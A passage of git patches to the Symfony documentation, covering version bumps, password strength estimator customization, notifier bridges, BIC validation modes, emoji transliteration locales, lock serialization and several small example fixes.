+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.2.x-dev composer update
 
 .. _running:
 
diff --git a/setup.rst b/setup.rst
index 90a89e78e8a..5cf3d2f90ab 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.1.*" --webapp
+    $ symfony new my_project_directory --version="7.2.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.1.*"
+    $ symfony new my_project_directory --version="7.2.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.1.*" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 81316769124d8bd7258035f630df0d90f494815d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 26 May 2024 15:20:55 +0200
Subject: [PATCH 6112/7107] Use Doctor RST 1.61.1

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5f428fc80ca..3602a9787c0 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -33,6 +33,7 @@ rules:
         max: 2
     max_colons: ~
     no_app_console: ~
+    no_attribute_redundant_parenthesis: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~
     no_blank_line_after_filepath_in_xml_code_block: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 44aa8481fd5..e8142fecd10 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.60.1
+                uses: docker://oskarstark/doctor-rst:1.61.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 92d1b5a8728b7c83930e497a7c86e1f0b6abcb1f Mon Sep 17 00:00:00 2001
From: Yannick <tech@yalit.be>
Date: Tue, 21 May 2024 23:52:53 +0200
Subject: [PATCH 6113/7107] [Validator] feat : add password strength estimator
 related documentation

---
 reference/constraints/PasswordStrength.rst    |  9 ++++
 .../get_or_override_estimate_strength.rst     | 48 +++++++++++++++++++
 2 files changed, 57 insertions(+)
 create mode 100644 validation/passwordStrength/get_or_override_estimate_strength.rst

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 989ffddd100..a44fd70fd4e 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -128,3 +128,12 @@ The default message supplied when the password does not reach the minimum requir
         ])]
         protected $rawPassword;
     }
+
+Learn more
+----------
+
+.. toctree::
+    :maxdepth: 1
+    :glob:
+
+    /validation/passwordStrength/*
diff --git a/validation/passwordStrength/get_or_override_estimate_strength.rst b/validation/passwordStrength/get_or_override_estimate_strength.rst
new file mode 100644
index 00000000000..9cd24c1b818
--- /dev/null
+++ b/validation/passwordStrength/get_or_override_estimate_strength.rst
@@ -0,0 +1,48 @@
+How to Get or Override the Default Password Strength Estimation Algorithm
+=========================================================================
+
+Within the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` a `dedicated function`_ is used to estimate the strength of the given password. This function can be retrieved directly from the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` class and can also be overridden.
+
+Get the default Password strength
+---------------------------------
+
+In case of need to retrieve the actual strength of a password (e.g. compute the score and display it when the user has defined a password), the ``estimateStrength`` `dedicated function`_ of the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` is a public static function, therefore this function can be retrieved directly from the `PasswordStrengthValidator` class.::
+
+        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+        $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
+
+
+Override the default Password strength estimation algorithm
+-----------------------------------------------------------
+
+If you need to override the default password strength estimation algorithm, you can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` constructor. This can be done using the :doc:`/service_container/service_closures`.
+
+First, create a custom password strength estimation algorithm within a dedicated callable class.::
+
+        namespace App\Validator;
+
+        class CustomPasswordStrengthEstimator
+        {
+            /**
+             * @param string $password
+             *
+             * @return PasswordStrength::STRENGTH_*
+             */
+            public function __invoke(string $password): int
+            {
+                // Your custom password strength estimation algorithm
+            }
+        }
+
+Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` service to use the custom password strength estimation algorithm.::
+
+        # config/services.yaml
+        services:
+            custom_password_strength_estimator:
+                class: App\Validator\CustomPasswordStrengthEstimator
+
+            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
+                arguments: [!service_closure '@custom_password_strength_estimator']
+
+.. _`dedicated function`: https://github.com/symfony/symfony/blob/85db734e06e8cb32365810958326d48084bf48ba/src/Symfony/Component/Validator/Constraints/PasswordStrengthValidator.php#L53-L90

From f6b69918adf973068635a9f39e1e4be5c1f4dc40 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 May 2024 10:43:26 +0200
Subject: [PATCH 6114/7107] Move the docs to the constraint doc

---
 reference/constraints/PasswordStrength.rst    | 87 +++++++++++++++++--
 .../get_or_override_estimate_strength.rst     | 48 ----------
 2 files changed, 81 insertions(+), 54 deletions(-)
 delete mode 100644 validation/passwordStrength/get_or_override_estimate_strength.rst

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index a44fd70fd4e..671b5f495ef 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -129,11 +129,86 @@ The default message supplied when the password does not reach the minimum requir
         protected $rawPassword;
     }
 
-Learn more
-----------
+Customizing the Password Strength Estimation
+--------------------------------------------
 
-.. toctree::
-    :maxdepth: 1
-    :glob:
+.. versionadded:: 7.2
 
-    /validation/passwordStrength/*
+    The feature to customize the password strength estimation was introduced in Symfony 7.2.
+
+By default, this constraint calculates the strength of a password based on its
+length and the number of unique characters used. You can get the calculated
+password strength (e.g. to display it in the user interface) using the following
+static function::
+
+    use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+    $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
+
+If you need to override the default password strength estimation algorithm, you
+can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+constructor (e.g. using the :doc:`service closures </service_container/service_closures>`).
+
+First, create a custom password strength estimation algorithm within a dedicated
+callable class::
+
+    namespace App\Validator;
+
+    class CustomPasswordStrengthEstimator
+    {
+        /**
+         * @return PasswordStrength::STRENGTH_*
+         */
+        public function __invoke(string $password): int
+        {
+            // Your custom password strength estimation algorithm
+        }
+    }
+
+Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+service to use your own estimator:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            custom_password_strength_estimator:
+                class: App\Validator\CustomPasswordStrengthEstimator
+
+            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
+                arguments: [!service_closure '@custom_password_strength_estimator']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
+
+                <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
+                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
+
+        return function (ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
+
+            $services->set(PasswordStrengthValidator::class)
+                ->args([service_closure('custom_password_strength_estimator')]);
+        };
diff --git a/validation/passwordStrength/get_or_override_estimate_strength.rst b/validation/passwordStrength/get_or_override_estimate_strength.rst
deleted file mode 100644
index 9cd24c1b818..00000000000
--- a/validation/passwordStrength/get_or_override_estimate_strength.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-How to Get or Override the Default Password Strength Estimation Algorithm
-=========================================================================
-
-Within the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` a `dedicated function`_ is used to estimate the strength of the given password. This function can be retrieved directly from the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` class and can also be overridden.
-
-Get the default Password strength
----------------------------------
-
-In case of need to retrieve the actual strength of a password (e.g. compute the score and display it when the user has defined a password), the ``estimateStrength`` `dedicated function`_ of the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` is a public static function, therefore this function can be retrieved directly from the `PasswordStrengthValidator` class.::
-
-        use Symfony\Component\Validator\Constraints\PasswordStrengthValidator;
-
-        $passwordEstimatedStrength = PasswordStrengthValidator::estimateStrength($password);
-
-
-Override the default Password strength estimation algorithm
------------------------------------------------------------
-
-If you need to override the default password strength estimation algorithm, you can pass a ``Closure`` to the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` constructor. This can be done using the :doc:`/service_container/service_closures`.
-
-First, create a custom password strength estimation algorithm within a dedicated callable class.::
-
-        namespace App\Validator;
-
-        class CustomPasswordStrengthEstimator
-        {
-            /**
-             * @param string $password
-             *
-             * @return PasswordStrength::STRENGTH_*
-             */
-            public function __invoke(string $password): int
-            {
-                // Your custom password strength estimation algorithm
-            }
-        }
-
-Then, configure the :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator` service to use the custom password strength estimation algorithm.::
-
-        # config/services.yaml
-        services:
-            custom_password_strength_estimator:
-                class: App\Validator\CustomPasswordStrengthEstimator
-
-            Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
-
-.. _`dedicated function`: https://github.com/symfony/symfony/blob/85db734e06e8cb32365810958326d48084bf48ba/src/Symfony/Component/Validator/Constraints/PasswordStrengthValidator.php#L53-L90

From 710d306fba10953ab91b9b1994295564b8afebb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 May 2024 12:16:03 +0200
Subject: [PATCH 6115/7107] [Notifier] Add a missing reference link

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 202689005a3..5346fbf7719 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1089,6 +1089,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md

From f6a398b498d77c19627f93c3328a75017b78d16c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 May 2024 12:04:38 +0200
Subject: [PATCH 6116/7107] Move some docs from the Choice constraint to the
 ChoiceType

---
 reference/constraints/Choice.rst | 26 --------------------------
 reference/forms/types/choice.rst | 26 ++++++++++++++++++++++++++
 2 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 8bafaaede7b..5a9c365be37 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -389,29 +389,3 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
-
-``separator``
-~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: ``-------------------``
-
-This option allows you to customize the visual separator shown after the preferred
-choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
-but you'll also need to set the `separator_html`_ option to ``true``.
-
-.. versionadded:: 7.1
-
-    The ``separator`` option was introduced in Symfony 7.1.
-
-``separator_html``
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If this option is true, the `separator`_ option will be displayed as HTML instead
-of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
-visual separator.
-
-.. versionadded:: 7.1
-
-    The ``separator_html`` option was introduced in Symfony 7.1.
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3637da8bdca..0b250b799da 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -202,6 +202,32 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
+``separator``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``-------------------``
+
+This option allows you to customize the visual separator shown after the preferred
+choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
+but you'll also need to set the `separator_html`_ option to ``true``.
+
+.. versionadded:: 7.1
+
+    The ``separator`` option was introduced in Symfony 7.1.
+
+``separator_html``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is true, the `separator`_ option will be displayed as HTML instead
+of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
+visual separator.
+
+.. versionadded:: 7.1
+
+    The ``separator_html`` option was introduced in Symfony 7.1.
+
 Overridden Options
 ------------------
 

From aa42227d536caf2e53724e451b5c698753e74e05 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 30 May 2024 08:05:27 +0200
Subject: [PATCH 6117/7107] __isset() returns true only if values are present

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 953a05bff47..a51f6034145 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -207,7 +207,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
         public function __isset($id): bool
         {
-            return true;
+            return array_key_exists($id, $this->children);
         }
     }
 

From 41c4ce5f15986ad8dfb95d3267f875cff63e9377 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 May 2024 11:41:26 +0200
Subject: [PATCH 6118/7107] [Dotenv] Fix `SYMFONY_DOTENV_PATH` purpose

---
 configuration.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 728f0e4e8b5..36dceae1b71 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -954,15 +954,7 @@ path is part of the options you can set in your ``composer.json`` file:
           }
       }
 
-You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system
-level (e.g. in your web server configuration or in your Dockerfile):
-
-.. code-block:: bash
-
-    # .env (or .env.local)
-    SYMFONY_DOTENV_PATH=my/custom/path/to/.env
-
-Finally, you can directly invoke the ``Dotenv`` class in your
+As an alternate option, you can directly invoke the ``Dotenv`` class in your
 ``bootstrap.php`` file or any other file of your application::
 
     use Symfony\Component\Dotenv\Dotenv;
@@ -975,9 +967,13 @@ the local and environment-specific files (e.g. ``.*.local`` and
 :ref:`how to override environment variables <configuration-multiple-env-files>`
 to learn more about this.
 
+If you need to know the path to the ``.env`` file that Symfony is using, you can
+read the ``SYMFONY_DOTENV_PATH`` environment variable in your application.
+
 .. versionadded:: 7.1
 
-    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.
+    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony
+    7.1.
 
 .. _configuration-secrets:
 

From 0074962a87b9598d337469566266f9d78a8f742a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 27 May 2024 16:19:49 +0200
Subject: [PATCH 6119/7107] [Emoji] Add the text locale

---
 string.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/string.rst b/string.rst
index c58a736da89..9253b89478e 100644
--- a/string.rst
+++ b/string.rst
@@ -561,6 +561,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
 
 The ``EmojiTransliterator`` also provides special locales that convert emojis to
 short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
+All theses platform are also combined in special locale ``text``.
 
 GitHub Emoji Transliteration
 ............................
@@ -607,6 +608,27 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale::
     $transliterator->transliterate('Menus with :green_salad: or :falafel:');
     // => 'Menus with 🥗 or 🧆'
 
+Text Emoji Transliteration
+..........................
+
+If you don't know where short codes come from, you can use the ``text-emoji`` locale.
+This locale will convert Github, Gitlab and Slack short codes to emojis::
+
+    $transliterator = EmojiTransliterator::create('text-emoji');
+    // Github short codes
+    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
+    // Gitlab short codes
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // Slack short codes
+    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
+You can convert emojis to short codes with the ``emoji-text`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-text');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwifruit: or :milk-glass:
+
 Removing Emojis
 ~~~~~~~~~~~~~~~
 

From 83b90512648752142e26ea1f361a13443642aac1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 31 May 2024 09:37:02 +0200
Subject: [PATCH 6120/7107] remove example using not existing timezone property

---
 scheduler.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d23df3b3044..d31e91067bd 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -516,9 +516,6 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
-    // defines the timezone to use
-    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
-
 .. versionadded:: 6.4
 
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` attribute

From cd3690d3738ff210cd2144f97186c2acce20e38f Mon Sep 17 00:00:00 2001
From: A goazil <samael.tomas@gmail.com>
Date: Tue, 30 Apr 2024 09:52:48 +0200
Subject: [PATCH 6121/7107] [Notifier] add Primotexto bridge

chore: add versionadded directive
---
 notifier.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 04ca5a2d4a4..01dfaf17cc6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -138,6 +138,9 @@ Service
 `Plivo`_            **Install**: ``composer require symfony/plivo-notifier`` \
                     **DSN**: ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Primotexto`_       **Install**: ``composer require symfony/primotexto-notifier`` \
+                    **DSN**: ``primotexto://API_KEY@default?from=FROM`` \
+                    **Webhook support**: No
 `Redlink`_          **Install**: ``composer require symfony/redlink-notifier`` \
                     **DSN**: ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION`` \
                     **Webhook support**: No
@@ -203,6 +206,10 @@ Service
                     **Webhook support**: No
 ==================  ====================================================================================================================================
 
+.. versionadded:: 7.2
+
+    The ``Primotexto`` integration was introduced in Symfony 7.2.
+
 .. tip::
 
     Some third party transports, when using the API, support status callbacks
@@ -1119,6 +1126,7 @@ is dispatched. Listeners receive a
 .. _`OvhCloud`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OvhCloud/README.md
 .. _`PagerDuty`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/PagerDuty/README.md
 .. _`Plivo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Plivo/README.md
+.. _`Primotexto`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Primotexto/README.md
 .. _`Pushover`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushover/README.md
 .. _`Pushy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Pushy/README.md
 .. _`Redlink`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Redlink/README.md

From 69c39f5f7e54a7ba2b9d7b449ef4269baed4b761 Mon Sep 17 00:00:00 2001
From: Jean-David Daviet <jeandaviddaviet@gmail.com>
Date: Fri, 31 May 2024 15:00:17 +0200
Subject: [PATCH 6122/7107] Fix broken link for UriSigner::sign method

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 790ae314516..153c3690824 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2697,7 +2697,7 @@ service, which you can inject in your services or controllers::
 For security reasons, it's common to make signed URIs expire after some time
 (e.g. when using them to reset user credentials). By default, signed URIs don't
 expire, but you can define an expiration date/time using the ``$expiration``
-argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
+argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     // src/Service/SomeService.php
     namespace App\Service;

From 3444ffba12ba81ba13a3843afd84852fcfa31560 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 31 May 2024 17:31:51 +0200
Subject: [PATCH 6123/7107] Improve the documentation about serializing lock
 keys

- use the LockFactory, which is consistent with other examples and is the recommended usage in the fullstack framework rather than injecting the Store to create a Lock directly
- update the lock store table to document which stores are compatible with serialization, as the section about serialization is linking to this table for compatibility info but it was not included
---
 components/lock.rst | 34 ++++++++++++++++------------------
 1 file changed, 16 insertions(+), 18 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index bac1f835b9a..3332d24fe32 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -108,12 +108,10 @@ to handle the rest of the job::
 
     use App\Lock\RefreshTaxonomy;
     use Symfony\Component\Lock\Key;
-    use Symfony\Component\Lock\Lock;
 
     $key = new Key('article.'.$article->getId());
-    $lock = new Lock(
+    $lock = $factory->createLockFromKey(
         $key,
-        $this->store,
         300,  // ttl
         false // autoRelease
     );
@@ -124,7 +122,7 @@ to handle the rest of the job::
 .. note::
 
     Don't forget to set the ``autoRelease`` argument to ``false`` in the
-    ``Lock`` constructor to avoid releasing the lock when the destructor is
+    ``Lock`` instantiation to avoid releasing the lock when the destructor is
     called.
 
 Not all stores are compatible with serialization and cross-process locking: for
@@ -402,20 +400,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-==========================================================  ======  ========  ======== =======
-Store                                                       Scope   Blocking  Expiring Sharing
-==========================================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no
-:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes
-:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
-==========================================================  ======  ========  ======== =======
+==========================================================  ======  ========  ======== ======= =============
+Store                                                       Scope   Blocking  Expiring Sharing Serialization
+==========================================================  ======  ========  ======== ======= =============
+:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes     no
+:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no      yes
+:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no      yes
+:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no      yes
+:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes     no
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes     no
+:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes     yes
+:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no      no
+:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no      no
+==========================================================  ======  ========  ======== ======= =============
 
 .. tip::
 

From 008bebf3ee880f3ce6f28e7aa6a0011ae9d7d16b Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 1 Jun 2024 08:28:35 +0200
Subject: [PATCH 6124/7107] Add missing dispatcher in Scheduler example

---
 scheduler.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d31e91067bd..ed9b6bf03d6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -652,11 +652,15 @@ being transferred and processed by its handler::
     #[AsSchedule('uptoyou')]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
+        public function __construct(private EventDispatcherInterface $dispatcher)
+        {
+        }
+
         public function getSchedule(): Schedule
         {
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
-            return $this->schedule ??= (new Schedule())
+            return $this->schedule ??= (new Schedule($this->dispatcher))
                 ->with(
                     // ...
                 )
@@ -671,7 +675,7 @@ being transferred and processed by its handler::
                     $schedule->removeById($messageContext->id);
 
                     // allow to call the ShouldCancel() and avoid the message to be handled
-                        $event->shouldCancel(true);
+                    $event->shouldCancel(true);
                 })
                 ->after(function(PostRunEvent $event) {
                     // Do what you want

From dc23e2e0399768c26c495ed8e2cf481843801d57 Mon Sep 17 00:00:00 2001
From: Maximilian Beckers <beckers.maximilian@gmail.com>
Date: Tue, 4 Jun 2024 12:01:10 +0200
Subject: [PATCH 6125/7107] [Validator] BicValidator add strict mode to
 validate bics in strict mode

---
 reference/constraints/Bic.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 69ce35248f3..a6a745e3a76 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -121,4 +121,24 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+``mode``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``strict``
+
+The mode in which the BIC is validated can be defined with this option. Valid values are:
+
+* ``strict`` uses the input BIC and validates it without modification.
+* ``case-insensitive`` converts the input value to uppercase before validating the BIC.
+
+.. tip::
+
+    The possible values of this option are also defined as PHP constants of
+    :class:`Symfony\\Component\\Validator\\Constraints\\BIC`
+    (e.g. ``BIC::VALIDATION_MODE_CASE_INSENSITIVE``).
+
+.. versionadded:: 7.2
+
+    The ``mode`` option was introduced in Symfony 7.2.
+
 .. _`Business Identifier Code (BIC)`: https://en.wikipedia.org/wiki/Business_Identifier_Code

From a6a828e6f9438df3169ea8200ffb00b76dbf1a8c Mon Sep 17 00:00:00 2001
From: Patryk Miedziaszczyk <57354820+Euugi@users.noreply.github.com>
Date: Tue, 4 Jun 2024 19:07:46 +0200
Subject: [PATCH 6126/7107] Change Type of field to correct one

---
 reference/forms/types/time.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index b45b0eab561..2ce41c6ff74 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -69,14 +69,14 @@ If your widget option is set to ``choice``, then this field will be represented
 as a series of ``select`` boxes. When the placeholder value is a string,
 it will be used as the **blank value** of all select boxes::
